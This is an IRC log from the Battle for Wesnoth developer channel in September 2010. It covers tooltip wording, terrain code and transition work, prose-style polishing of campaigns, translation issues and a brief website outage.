20100913 18:24:32< alink> unit versus unit
20100913 18:24:37< timotei> oh, ok:D
20100913 18:25:42< alink> note that you can do ranged damage without receiving a counter-attack, is it still "versus" ?
20100913 18:27:21-!- shadowm_laptop [ignacio@wesnoth/developer/shadowmaster] has joined #wesnoth-dev
20100913 18:27:24< Gambit> Yes.
20100913 18:27:34< Gambit> You're still against that poor unit.
20100913 18:28:03< alink> ok, but again my point is that "to" is maybe better here
20100913 18:30:26< timotei> alink: I think you could make a preference option
20100913 18:30:28< timotei> for that:-?
20100913 18:30:38< timotei> so ppls could chose what to use
20100913 18:31:42< alink> hehe, yeah, ok,  it's not important. It's just that I changed what was around the "vs" so I asked if should change it too
20100913 18:31:55< alink> before it was "-30% vs Trolls, Bugs..."
20100913 18:32:15< alink> but game seems to use "vs" when talking about resistance
20100913 18:32:42< CIA-35> anonymissimus * r46464 /trunk/ (changelog src/game_events.cpp): Added tag [kill][secondary_unit] for specifying the killing unit. (patch #1960)
20100913 18:33:14< alink> for example: damage calculations dialog says "Defender vulnerability vs arcane" 
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20100913 18:38:12< zookeeper> ahh, some noob with a digger cut my internet.
20100913 18:40:21< esr> zookeeper: How are you on IRC, then? :-)
20100913 18:40:50< shadowmaster> zookeeper: call his boss so he can ban the n00b
20100913 18:41:27< shadowmaster> or grab a hammer and throw it at him
20100913 18:42:02-!- Vir [~mkretz@HSI-KBW-091-089-141-103.hsi2.kabel-badenwuerttemberg.de] has joined #wesnoth-dev
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20100913 18:42:18< alink> or call him noob on IRC, that will teach him
20100913 18:42:44< Gambit> timotei: Okay I am a devout follower of OAG, but to have a preference that changes a single word... that's a little far.
20100913 18:42:51< zookeeper> esr, they seem to have already fixed it
20100913 18:42:51< shadowmaster> I'll truncate the phpBB sessions table as soon as I notice that nobody's doing anything
20100913 18:43:01< shadowmaster> that means you'll all be logged out
20100913 18:43:25 * zookeeper is writing a PM
20100913 18:43:34< shadowmaster> I know, I see you in Who Is Online
20100913 18:44:03< shadowmaster> even if you are hidden.
20100913 18:44:05< CIA-35> esr * r46465 /trunk/data/ (4 files in 3 dirs): Village-code changes requested by zookeeper, and wmllint code to perform them.
20100913 18:44:55 * esr hands zookeeper an exceptionally large and stinky Fish of Chastisement.
20100913 18:44:56< shadowmaster> Gambit: gwibber took longer to update?
20100913 18:45:05< shadowmaster> choqok was ready, even the Debian testing version
20100913 18:45:32< Gambit> I checked it a few days ago and it still wanted a username and a pass.
20100913 18:45:42< Gambit> Interestingly I downloaded choqok this morning, and so did it. :(
20100913 18:45:43< shadowmaster> except for http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=595421
20100913 18:45:46< Gambit> Then I tried gwibber again.
20100913 18:46:02< shadowmaster> hey, someone's thanking me for the workaround!
20100913 18:46:12< shadowmaster> but why didn't I receive a CC on my email inbox? hm
20100913 18:46:12< CIA-35> esr * r46466 /trunk/data/campaigns/Legend_of_Wesmere/scenarios/07_Elves_last_stand.cfg: Typo fix.
20100913 18:46:28< shadowmaster> oh, I'm supposed to subscribe manually
20100913 18:49:59< timotei> Gambit: OAG?
20100913 18:50:43< Gambit> janebot: !define OAG
20100913 18:50:44< janebot> Gambit: OAG is "Options are good, and don''t let anyone convince you otherwise!."
20100913 18:51:12< timotei> :))
20100913 18:51:13< timotei> nice
20100913 18:51:13< Gambit> Ha double single quotes.
20100913 18:51:17< Gambit> You get the idea though ;)
20100913 18:51:22< timotei> yep yep
20100913 18:51:38 * Gambit could've sworn he fixed that months ago
20100913 18:52:58< zookeeper> esr, argh, i forgot that wmllint would actually change the terrain codes in terrain.cfg and terrain-graphics.cfg as well
20100913 18:53:02< zookeeper> but i'll fix it
20100913 18:54:16< esr> OK.  Bear in mind that if you just change them back they'll get clobbered by the next wmllint run.
20100913 18:54:42< esr> See a;ll my previous dire warnings about non-monotonic changes.
20100913 18:55:13< zookeeper> arr.
20100913 18:55:40< zookeeper> well, i'll just remove the now obsolete terrains, which should make the new conversion rules not match anything in mainline
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20100913 18:58:02< CIA-35> zookeeper * r46467 /trunk/data/core/terrain.cfg: Removed the new obsolete village terrain variants.
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20100913 19:00:56< CIA-35> zookeeper * r46468 /trunk/data/core/terrain-graphics.cfg: Fixed unnecessary village terrain code conversion.
20100913 19:02:49< zookeeper> esr, does wmllint check for unknown/undefined terrain codes?
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20100913 19:05:35< esr> zookeeper: No.. I wouldn't have any ide how to do that.
20100913 19:05:42< boucman> hey all
20100913 19:05:49< boucman> shadowmaster: pinged me ?
20100913 19:06:04< alink> hi boucman
20100913 19:06:07< shadowmaster> and immediately noticed that my question was irrelevant
20100913 19:06:10< shadowmaster> so yeah.
20100913 19:06:13< boucman> hehe
20100913 19:06:50< zookeeper> esr, okay, nevermind then
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20100913 19:09:59< esr> fendrin: I did your TODO ESRs in LoW.
20100913 19:10:38< fendrin> esr: Cool, thank you.
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20100913 19:11:27< fendrin> esr: I am still not finished with my prose needs. There are at least one time the strings already done by you more to do.
20100913 19:11:53< esr> fendrin: That's OK.
20100913 19:12:18< fendrin> esr: But I think the campaign is nice. Five chapters now, each 3 or 4 scenarios long, connected through uptorn's gsoc persistent global variables work.
20100913 19:12:27< CIA-35> alink * r46469 /trunk/src/generate_report.cpp: 
20100913 19:12:27< CIA-35> In damage type tooltip, replace the "vs" (which was repeated on each line) by ":"
20100913 19:12:27< CIA-35> and rename the topline "Damage versus:". This better uses space and improves readability because the "vs" looked like a unit name (esp. when translated to a longer word), which slowed the eye parsing of each list.
20100913 19:12:31< stikonas> esr: have you seen TODO's in utils/characters.cfg
20100913 19:12:48< alink> ^ok that solved my problem. Unless "Damage versus" doesn't sound good ?
20100913 19:12:51< esr> Np.  Is this under LoW?
20100913 19:12:54< stikonas> yes
20100913 19:13:05< esr> I'll go look.
20100913 19:13:07< stikonas> and there is a spelling mistake there: Prepared
20100913 19:13:13< stikonas> instead of Prepare
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20100913 19:13:53< fendrin> esr: That means two players can finish the first chapter of LoW, return to the MP lobby, look for a third one who plays Cleodil and continue with their recall lists. (Gold carryover still needs to be implemented) 
20100913 19:14:09< esr> Cool.
20100913 19:14:22< fendrin> esr: The same with chapter 2 and 3. The three players return to the lobby and search a fourth player for Olurf and continue.
20100913 19:15:01< stikonas> utils/abilities.cfg also contains one TODO
20100913 19:18:03< CIA-35> alink * r46470 /trunk/ (changelog players_changelog): Update changelogs
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20100913 19:34:31< eleazzaar> zookeeper: i'm here
20100913 19:34:55< eleazzaar> i see you've started getting rid of the redundant villages
20100913 19:35:09< CIA-35> esr * r46471 /trunk/data/campaigns/Legend_of_Wesmere/utils/ (abilities.cfg characters.cfg deaths.cfg): Moore textr polishing for LoW.
20100913 19:35:51< CIA-35> anonymissimus * r46472 /trunk/changelog: Mentioned [modify_unit] (added in r45555).
20100913 19:36:07< esr> fendrin: I'm curious, since you're not a native English speaker.  When I prose-polish, can you actually tell that the language is improved, or do you just assume it?
20100913 19:36:23< zookeeper> eleazzaar, yes, i think i've gotten all of them now
20100913 19:36:35< shadowmaster> esr: bad memories of cycholka and Jozrael on AOI?
20100913 19:36:44< eleazzaar> zookeeper: :D
20100913 19:37:25< esr> shadowmaster: Yes, I still have them.  But I wasn't thinking of that just now, it was more general curiosity.
20100913 19:37:35< shadowmaster> :)
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20100913 19:38:03< zookeeper> eleazzaar, anyway, what i wanted to ask was about shallowwater<->void transitions...if you look at island of the horatii for example, deep water transitions nicely with void but shallow water has a sharp edge
20100913 19:38:29< zookeeper> not to mention i still can't understand the void fetish the MP map makers all seem to have
20100913 19:38:45< zookeeper> void has always looked horribly crappy
20100913 19:39:07< zookeeper> yet padding maps with void still seems to be the norm
20100913 19:41:25< esr> fendrin, shadowmaster: I am generally curious about the extent to which non-native speakers can perceive prose style in English, especially since the house style I've shaped for Wesnoth is not easy for *native* speakers to generate or model.
20100913 19:41:57< shadowmaster> I think I can see the difference.
20100913 19:42:16< shadowmaster> not so much generate text in that style, though, or generate it. Heck, nowadays I know many English words'   definitions and yet I can't translate them to Spanish
20100913 19:42:21< esr> That is, most native speakers can read or appreciate it but couldn't write that way themselves.
20100913 19:42:23< shadowmaster> mainly because i'm forgetting some Spanish.
20100913 19:42:39< boucman> esr: tbh it depends a lot on the level of english... 
20100913 19:42:51< esr> boucman: Yes?
20100913 19:43:04< shadowmaster> esr: Jozrael is a native speaker though.
20100913 19:43:06< shadowmaster> and look at the atrocity he did to AOI
20100913 19:43:09< shadowmaster> :p
20100913 19:43:13< esr> True.
20100913 19:43:23< boucman> at least on the french ML we have a couple of good speakers that pop-in and that "describe" the style to other translators, so we can find something similar in our own language...
20100913 19:43:34< esr> As I said, even native speakers have trouble generating the right style.
20100913 19:43:44< fendrin> esr: I read English fantasy literature from time to time. Sometimes there are sentences which I can't figure out easily but the most time I can enjoy them.
20100913 19:43:51< shadowmaster> well, I did something like that when resurrecting the Spanish translsation circa 2009
20100913 19:44:05< shadowmaster> and left some instructions to the now MIA new maintainer.
20100913 19:44:08< shadowmaster> *for
20100913 19:44:26< esr> fendrin: Is the similarity between Wesnoth house style and liteary fantasy visible to you?
20100913 19:46:06< fendrin> esr: No. Wesnoth's house still is more or less unique. At least I haven't seen something that reminded me to Wesnoth until now.
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20100913 19:46:58< esr> fendrin: That's interesting.
20100913 19:48:50< esr> I designed the Wesnoth house style to resemble the older form of literary fantasy as written by Tolkien, Dunsany, and Eddison...basically late Victorian/Edwardian English with some reversions to the Early Modern English of Shakespeare.
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20100913 19:50:14< eleazzaar> zookeeper:  due to a bug the void used to looks the same as off-map
20100913 19:50:27< esr> I guess a lot of contemporary fantasy isn't really written in that style any more, but it's what I grew up on.
20100913 19:50:33< eleazzaar> generally i think off-map should be used instead of void for padding
20100913 19:50:38< zookeeper> esr, btw, if you don't mind, the bit in TRoW's epilogue about eating lightning and farting thunder is IMO something that could be...erm, revised. seems a bit too much like toilet humour to me, despite the braveheart parallel.
20100913 19:51:09< fendrin> I tried once to translate LoW into German. But I failed or at least the players were not happy with it. The current translation is much more modern so that I prefer to play in English. That is true for most campaigns.
20100913 19:51:41< esr> zookeeper: I'll look t it.  I was deliberately trying to break form there, much as the original author of TRoW does elsewhere with modern slang.
20100913 19:51:43< zookeeper> i don't recall having much of a problem with the other stuff you've done in TRoW or most other campaigns, but to me that line sticks out a bit in a bit of an unfavourable manner
20100913 19:52:04< eleazzaar> zookeeper:  but the transition problem would be the same with shallow -- i made special transitions for the ocean to void/off-map
20100913 19:52:12< eleazzaar> haven't yet done so for shallow
20100913 19:52:41< zookeeper> eleazzaar, umm, what's the difference supposed to be? one is pure black and the other slightly grayish?
20100913 19:53:58< zookeeper> eleazzaar, wow, really? special transitions against void/off-map? hrhm...i see. i've always considered the use of void/off-map something people do simply because there's no proper terrain for that purpose.
20100913 19:54:30< boucman> zookeeper: the original idea was to use it to have a sort of "under layer"
20100913 19:57:05< eleazzaar> zookeeper:  off map is the same as what you see around a map that's smaller than your screen size
20100913 19:57:40< esr> zookeeper: My problem with changing the "farting tunder" line is that in order to maintain the degree to which that scene subverts the hero-gets-the-girl cliche, Jessene really has to say something rude and forceful that a blushing maiden who's a mere success token would not. I'm open to changing the phrasing but I don't want it to be to something weaker 
20100913 19:58:41< zookeeper> eleazzaar, right
20100913 19:59:21-!- fangism1 [~davidfang@gilbert.achronix.com] has joined #wesnoth-dev
20100913 19:59:32< esr> It's not that I'm attached to toilet hiumor - I actually dislike it.  But she has to say *something* that really breaks  the reader's expectation that she''s going to swoon into Haldric's arms like a Disney princess.
20100913 19:59:46< zookeeper> hmh
20100913 19:59:48-!- fangism1 is now known as fangism0
20100913 19:59:57< esr> See the problem?
20100913 20:00:01< zookeeper> sure
20100913 20:00:35< eleazzaar> i think you also don't get the hex-highlighter over off-map.  the game actually treats it like it's not part of the map
20100913 20:00:35< esr> And, BTW, I think I'm reflecting the original author's intent in this.
20100913 20:01:11< zookeeper> esr, sure, sure. i don't have a problem with the rude and forceful part, just with the toilet humour aspect ;)
20100913 20:01:58< esr> zookeeper: I get that.  But I haven't thought of a better alternative yet.  I want you to know that I'm not dismissing the issue.
20100913 20:02:11< zookeeper> all right. i'll let you know if i come up with something
20100913 20:02:25< esr> I'll go stare at it a bit.
20100913 20:05:28< eleazzaar> zookeeper: oh- i see the shallow to off is absolutely without transitions
20100913 20:05:39< zookeeper> esr, oh, and i guess "Wesnoth. Haldric" should have a comma instead
20100913 20:05:44< zookeeper> eleazzaar, yep
20100913 20:05:51< esr> zookeeper: Hm, I think "belch" might do instead of "fart".
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20100913 20:06:08< eleazzaar> an unintended side-effect of some animation speedups
20100913 20:07:16< zookeeper> esr, better :P
20100913 20:07:21< eleazzaar> Do you think anybody would read it if i wrote some recommendations about what terrains to use in various situations?
20100913 20:08:26< zookeeper> eleazzaar, probably they'd read it, but follow? less likely, but possible, i guess ;)
20100913 20:09:04< eleazzaar> so many maps are unneccesarily ugly...
20100913 20:10:22< eleazzaar> i'll be around later...
20100913 20:11:59< CIA-35> esr * r46473 /trunk/data/campaigns/The_Rise_Of_Wesnoth/scenarios/23_Epilogue.cfg: Prose polish.
20100913 20:14:10< alink> eleazzaar: zookeeper: off-map is also not ToD lighted. I suppose the intent is to make it more part of GUI and less of worldmap
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20100913 20:14:46< eleazzaar> alink: sounds right to me
20100913 20:15:03< norbert_> will 1.9.1 still allow users to disable the sending of anonymized stats?
20100913 20:15:07< zookeeper> alink, sure, it's a good idea, but it's just the fact that the map terrains transition onto it in an ugly manner which is...well, ugly
20100913 20:15:33< norbert_> toggle fullscreen doesn't appear to be working in 1.9.0+svn
20100913 20:15:35< zookeeper> maybe i should look into my off-map transitions idea more actively :/
20100913 20:15:39< norbert_> at least not on the titlescreen
20100913 20:15:48< Ivanovic> norbert_: 1.9.0 does allow this already
20100913 20:15:49< alink> zookeeper: that should be fixable by WML terrain rules
20100913 20:15:58< Ivanovic> that is: in fact this feature ain't available anymore in 1.9.1 at all
20100913 20:16:14< norbert_> Ivanovic: yes, so does it just send the packages or is it always off?
20100913 20:16:16< zookeeper> alink, how? there's no transitions for the off-map terrain AFAIK
20100913 20:16:25< Ivanovic> it is completely off, gone altogether
20100913 20:16:55< norbert_> so it was remoed, then put back in, and now removed again
20100913 20:16:58< norbert_> *removed
20100913 20:17:08< Ivanovic> no, it was not removed and put back and removed again
20100913 20:17:19< Ivanovic> it was removed from 1.8.1 but still kept in trunk
20100913 20:17:21< alink> AFAIK off_map terrrain images are handled normally, the engine just don't ToD color image using the off-map filename (defined by theme)
20100913 20:17:26< Ivanovic> in trunk it was only removed later than in 1.8
20100913 20:17:38< norbert_> oh okay, thanks
20100913 20:17:39< norbert_> get it
20100913 20:17:58< alink> zookeeper: but I will check this
20100913 20:18:14< eleazzaar> we have some transitions *to* off map
20100913 20:18:39< eleazzaar> especially since 1.8 i've tried to make off-map and void less broken
20100913 20:19:02< alink> yeah I remember saw water ones, I even let it animated because it was more visible
20100913 20:19:27< norbert_> seems toggle fullscreen works, but not on the title screen
20100913 20:19:36< eleazzaar> various chasm have special transitions to off and void (and to each other
20100913 20:19:59< zookeeper> alink, no, i'm talking of transition images themselves. off-map can't transition to anything else because it doesn't have transitions.
20100913 20:20:37< zookeeper> but anyway, forget what i said, i'll see what i can come up with myself
20100913 20:21:11< zookeeper> i drew some basic images for it probably years ago, but i have never succeeded in making the WML for it, i think
20100913 20:21:19< shadowmaster> hi people, the wiki is going bye bye
20100913 20:21:41< norbert_> shadowmaster: ?
20100913 20:21:57< shadowmaster> that means it will be shut down
20100913 20:22:04< norbert_> ok
20100913 20:22:10< alink> zookeeper: ok, good, because I am not sure if we talk about the same thing. I wait to see your images or screenshot to understand
20100913 20:22:18< norbert_> temporarily, I presume
20100913 20:22:45< shadowmaster> no, we will close down all of wesnoth.org
20100913 20:23:05< shadowmaster> we are out of business. it's finished. over.
20100913 20:23:10< shadowmaster> you get it, right?
20100913 20:25:17< zookeeper> alink, you can have a (crude) mock-up right away. this is what i've been imagebinning several times during the past few years :P http://imagebin.org/113935
20100913 20:25:51< alink> aaah the border :)
20100913 20:26:29< alink> yeah that is not controlled by WML terrain rule (just maybe some Theme variable)
20100913 20:28:50< alink> it will be probably some work to support non-rectangular shape, and something will probably need to change with the scrolling, since the area behind the border currently don't scroll
20100913 20:29:07< eleazzaar> so  how would we define which hexes are "fake" in a non-squre map?
20100913 20:29:11< eleazzaar> square
20100913 20:29:34< zookeeper> eleazzaar, actually we had this discussion a few months back already ;) want me to pastebin some logs?
20100913 20:29:52< eleazzaar> zookeeper: please do
20100913 20:30:01< eleazzaar> the territory feels familiar
20100913 20:30:28< eleazzaar> but i don't quite remember the conclusion (if i came to one)
20100913 20:30:41< zookeeper> ok, just a sec...
20100913 20:30:44< noy>  norbert_ re your email. I've been tardy on writing a policy and I'll get to it in the net couple of weeks. 
20100913 20:31:05< norbert_> ok
20100913 20:31:08< noy> next*
20100913 20:31:50< zookeeper> eleazzaar, http://wesnoth.pastebin.com/ZSue0z8k
20100913 20:32:32< zookeeper> and yeah, it'd need some code changes, but i think the offmap<->map transitions could be done with terrain WML
20100913 20:33:41< zookeeper> i'll play around with the WML and see if i can produce something similar
20100913 20:34:28< eleazzaar> It would basically be the same thing as the shroud
20100913 20:34:57< eleazzaar> how it could work
20100913 20:35:09< zookeeper> yeah, pretty much
20100913 20:35:43< CIA-35> alink * r46474 /trunk/src/display.cpp: 
20100913 20:35:43< CIA-35> Fix off-map tile incorrectly ToD-lighted
20100913 20:35:43< CIA-35> Probably broken during the new ".png" requirement fir terrain image
20100913 20:35:57< eleazzaar> This would break some current maps, but i think the simplest way to do things would be to make any hex adjacent to off-map automatically "fake"
20100913 20:36:36< alink> ^so what I said about ToD-light on off map is true again ;)
20100913 20:36:41< eleazzaar> "simplest" from a user's point of view
20100913 20:37:26< zookeeper> eleazzaar, user being the map maker?
20100913 20:37:52< eleazzaar> and from the artist's since that would preclude any weird small spaces
20100913 20:38:14< eleazzaar> zookeeper: yeah
20100913 20:38:39< zookeeper> ah, i have some results already, give me a while to tinker with it more...
20100913 20:39:55< alink> grmrbl and coder/cpu will need to always check adjacent hexes before doing anything (instead of just check that x,y is in the good range) :-/
20100913 20:40:51< alink> in editor I see an impassable overlay "^Xo" can it be used ?
20100913 20:41:11< eleazzaar> It's invisible
20100913 20:41:19< eleazzaar> i think that's it's point
20100913 20:41:39< eleazzaar> to set up "plot" boundries that don't mess up the map
20100913 20:41:41< alink> I mean to mark these new border impassable in map data
20100913 20:42:06< alink> auto-added by c++ if needed
20100913 20:42:45 * alink is speaking about the "make any hex adjacent to off-map automatically "fake""
20100913 20:43:16< alink> mmh but impassable != fake
20100913 20:43:30< zookeeper> the impassable overlay is for other purposes
20100913 20:43:37< alink> ok
20100913 20:43:42< eleazzaar> actually the "impassible" overlay doesn't work with other overlays
20100913 20:43:44< zookeeper> for example when you place a door item on the map, you can make the hex impassable without needing a custom terrain
20100913 20:43:49< zookeeper> eleazzaar, correct
20100913 20:44:42< zookeeper> there can be only one overlay per hex
20100913 20:46:28< eleazzaar> the graphics would be pretty easy to do
20100913 20:47:26< zookeeper> i'm working on it, i'm working on it. i have rudimentary transitions already.
20100913 20:48:29< eleazzaar> keep me posted
20100913 20:48:32< eleazzaar> gotta go
20100913 20:48:42< zookeeper> sure
20100913 20:56:58< zookeeper> i just need to rename two dozen transitions which have the directions named wrong...
20100913 21:01:14-!- silene [~plouf@wesnoth/developer/silene] has quit [Ping timeout: 264 seconds]
20100913 21:01:32< shadowmaster> the website is going down now
20100913 21:06:21< esr> shadowmaster: Why?
20100913 21:07:04< shadowmaster> esr: technical issues.
20100913 21:07:34-!- Ivanovic changed the topic of #wesnoth-dev to: 1.9.1 planned on tuesday or wednesday, 18:00 GMT+2 | 155 bugs, 298 feature requests, 16 patches | logs: http://irclogs.wesnoth.org | Don't paste on IRC! Use a pastebin: http://wesnoth.pastebin.com | http://imagebin.org
20100913 21:07:45< shadowmaster> one of them is that I'm hungry.
20100913 21:07:49< shadowmaster> the website can't run as long as I'm hungry. right Gambit?
20100913 21:08:06< esr> shadowmaster: What needs to be done to fix the site?
20100913 21:08:16< shadowmaster> first: feed me.
20100913 21:08:25< shadowmaster> second: allow us to diagnose a load problem
20100913 21:08:29< Gambit> Heh
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20100913 21:09:04< norbert_> http://www.youtube.com/watch?v=BGRN39oifsE
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20100913 21:09:59< nNa> Ivanovic, is there any way i could translate key names in Hotkeys menu?
20100913 21:10:34< nNa> currently there is ctrl+space and i wish to change it to ctrl+preslednica
20100913 21:11:45< stikonas> nNa: I don't think that this is currently possible, this is probably i18n bug
20100913 21:11:54< shadowmaster>  norbert_ creepy.
20100913 21:11:56< nNa> ok, thanks
20100913 21:12:01< silene> nNa: you can't, the names come from the system
20100913 21:12:26< stikonas> silene: hi, do you know if it is possible to use plural aware stings in lua code?'
20100913 21:13:08< silene> stikonas: you could, but the main issue is that there are no scripts to create .pot files from them
20100913 21:13:24< stikonas> e.g. this is problematic: data/lua/wml/objectives.lua:79 tostring(_"(%d turns left)"), turn_limit - current_turn + 1)
20100913 21:13:52< stikonas> and I've seen this strint in .po file, so there must be some way for the string to appear in .pot
20100913 21:14:00< silene> i know it is problematic, it has been problematic for 5 years (that is, since i allowed gettext in wml)
20100913 21:15:02 * stikonas is here for just over 3 years...
20100913 21:17:13 * anonymissimus feeds shadowmaster some porridge
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20100913 21:19:27< shadowmaster> nice, the forum didn't log me out after truncating the sessions table
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20100913 21:46:11< shadowmaster> hey, I just found a useful tick icon in phpBB's forums
20100913 21:46:31< shadowmaster> maybe I can make that solved/done thingy for the Technical Support section now
20100913 21:46:51< shadowmaster> I mean, after the next 36 months.
20100913 21:49:15< shadowmaster> Gambit: what do you think?
20100913 21:49:32< shadowmaster> should I work on it after the next 36 months, or after a little 2-days "vacation"?
20100913 21:49:59< Gambit> shadowmaster: I'll give you one day, and you'll make it two icons.
20100913 21:50:30< shadowmaster> I hope that's not a command.
20100913 21:50:36< Gambit> We're haggling ;)
20100913 21:51:23< shadowmaster> because, if it were a command, I'd have to fire you for not respecting your boss.
20100913 21:51:58< shadowmaster> Gambit: you can see some usage examples in the viewforum index for http://www.phpbb.com/community/viewforum.php?f=46
20100913 21:52:01< Gambit> http://www.youtube.com/watch?v=xm7K4VM_7Rg
20100913 21:52:23< Gambit> shadowmaster: I like.
20100913 21:52:25< shadowmaster> I'm making it green though since the one they use is red like the unread posts icons, even when the topics *are* read,.
20100913 21:52:57< shadowmaster> It ma ylook ugly on AcidTech and subsilver2 though
20100913 21:53:05< shadowmaster> and I don't think there's a way to make topic icons style-specific.
20100913 21:58:18-!- timotei [~timotei@wesnoth/developer/timotei] has quit [Ping timeout: 240 seconds]
--- Log opened Mon Sep 13 22:01:29 2010
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20100913 22:01:38-!- Topic for #wesnoth-dev: 1.9.1 planned on tuesday or wednesday, 18:00 GMT+2 | 155 bugs, 298 feature requests, 16 patches | logs: http://irclogs.wesnoth.org | Don't paste on IRC! Use a pastebin: http://wesnoth.pastebin.com | http://imagebin.org
20100913 22:01:38-!- Topic set by Ivanovic [~ivanovic@wesnoth/developer/ivanovic] [Mon Sep 13 21:07:34 2010]
20100913 22:01:38[Users #wesnoth-dev]
20100913 22:01:38[ ABCD           ] [ dtiger   ] [ Ingmar     ] [ noy           ] 
20100913 22:01:38[ AI0867         ] [ eleazzaar] [ isaac_     ] [ Rhonda        ] 
20100913 22:01:38[ alink          ] [ elias    ] [ isionous   ] [ shadowm_laptop] 
20100913 22:01:38[ anonymissimus  ] [ erl      ] [ Ivanovic   ] [ shadowmaster  ] 
20100913 22:01:38[ apoi           ] [ Espreon  ] [ iwaim      ] [ shikadibot    ] 
20100913 22:01:38[ astraljava     ] [ esr      ] [ janebot    ] [ silene        ] 
20100913 22:01:38[ Bocom          ] [ ettin    ] [ Johannes13 ] [ Smar          ] 
20100913 22:01:38[ boucman        ] [ fangism1 ] [ joo        ] [ stikonas      ] 
20100913 22:01:38[ Carneus        ] [ fendrin  ] [ knotwork   ] [ Tigge         ] 
20100913 22:01:38[ chris|         ] [ Gallaecio] [ koan       ] [ Vetinari      ] 
20100913 22:01:38[ CIA-35         ] [ Gambit   ] [ lobby      ] [ Vir           ] 
20100913 22:01:38[ clanehin       ] [ Greywhind] [ loonybot   ] [ Vorpal        ] 
20100913 22:01:38[ crimson_penguin] [ happygrue] [ loonycyborg] [ wesbot        ] 
20100913 22:01:38[ Daltx          ] [ ilor     ] [ MeccaGod   ] [ yann          ] 
20100913 22:01:38[ DesertPanther  ] [ ilor_    ] [ mjs-de     ] [ zookeeper     ] 
20100913 22:01:38-!- Irssi: #wesnoth-dev: Total of 60 nicks [0 ops, 0 halfops, 0 voices, 60 normal]
20100913 22:01:53-!- Channel #wesnoth-dev created Tue Jan 27 06:28:41 2009
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20100913 22:53:16< Espreon> Ivanovic: Why, yes there is: http://wiki.wesnoth.org/Typography_Style_Guide
20100913 22:55:37< Espreon> Ivanovic: Also, I can't really finish until alik/mordante enables Pango markup in tip text.
20100913 22:56:25< Ivanovic> Espreon: you can fix up two brothers in the meantime
20100913 22:56:47< Espreon> All right.
20100913 22:56:49< Ivanovic> and you can fix everything *beside* the tip texts, since the pastebin shows a little more (only searched for ', nothing else)
20100913 22:56:53< Ivanovic> cf my commit message
20100913 22:57:17< Ivanovic> i replaced all ' by the unicode version though i am not sure that i used the correct ones for the places and i added spaces after ...
20100913 22:57:41-!- wesbot changed the topic of #wesnoth-dev to: 1.9.1 planned on tuesday or wednesday, 18:00 GMT+2 | 155 bugs, 297 feature requests, 16 patches | logs: http://irclogs.wesnoth.org | Don't paste on IRC! Use a pastebin: http://wesnoth.pastebin.com | http://imagebin.org
20100913 22:57:42< Ivanovic> Espreon: this revision: http://svn.gna.org/viewcvs/wesnoth?view=rev&revision=46454
20100913 22:57:59< Espreon> Thank you.
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20100913 23:16:38< CIA-35> espreon * r46475 /trunk/data/campaigns/Two_Brothers/scenarios/ (4 files): Fixed typography in TB.
20100913 23:16:52< Boogada> I have a licensing question about the wesnoth map graphics
20100913 23:17:42< Boogada> can they be used for a website?
20100913 23:18:06< Espreon> esr: You don't have to use those curly apostrophes in comments. Also, I use a compose key to input most of the characters.
20100913 23:19:37-!- mjs-de [~mjs-de@wh.uni-dortmund.de] has quit [Remote host closed the connection]
20100913 23:22:00< Ivanovic> Espreon: it was me changing the comments, too
20100913 23:22:23< Espreon> I see.
20100913 23:22:25< Ivanovic> (because i was basically using a search and replace system checking for "wrong replacements" afterwards)
20100913 23:23:11< Ivanovic> easily done for 5 tiny files, a hell of a problem to do for "enter huge amount of files" files
20100913 23:26:42< shadowmaster> Ivanovic: will we have a release or not?
20100913 23:27:22< shadowmaster> just to know whether to work on a feature today or later
20100913 23:27:24< Ivanovic> not today since i am heading off to bed now and tomorrow depends on my system (mainboard is failing in parts and i got to replace some stuff realy soon, will work on my system tomorrow if i get that cooler...)
20100913 23:27:35< shadowmaster> then past tomorrow.
20100913 23:27:42< Ivanovic> so it is a case of "not sure" for tomorrow
20100913 23:30:21< Ivanovic> i am off to bed now, n8
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20100913 23:42:06< zookeeper> boucman, you around?
20100913 23:42:18< boucman> almost gone, but i'm listening
20100913 23:42:57< zookeeper> boucman, ok, i was just wondering why this doesn't work: http://wesnoth.pastebin.com/SnNFZJM0
20100913 23:43:20< Espreon> esr: Would you please have pofix complain about duplicate domain declaration thingies; having them causes problem.
20100913 23:43:26< zookeeper> it ought to just draw terrain/color-hex.png on all *^Fme hexes, but it doesn't actually do anything
20100913 23:43:42< zookeeper> am i missing some semi-recent change there? i think that should have worked before
20100913 23:45:22< boucman> try adding center=90,144 or replacing name with void.png to make sure there is no typo
20100913 23:45:22< zookeeper> so basically i'm just looking for the simplest way to draw a hex-shaped base tile without any macros
20100913 23:45:44< boucman> yes, the 90,144 should help
20100913 23:45:50 * zookeeper tries
20100913 23:46:15< zookeeper> ah, yes, that's it
20100913 23:46:16< zookeeper> thanks
20100913 23:50:37< boucman> np
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--- Log closed Tue Sep 14 00:00:15 2010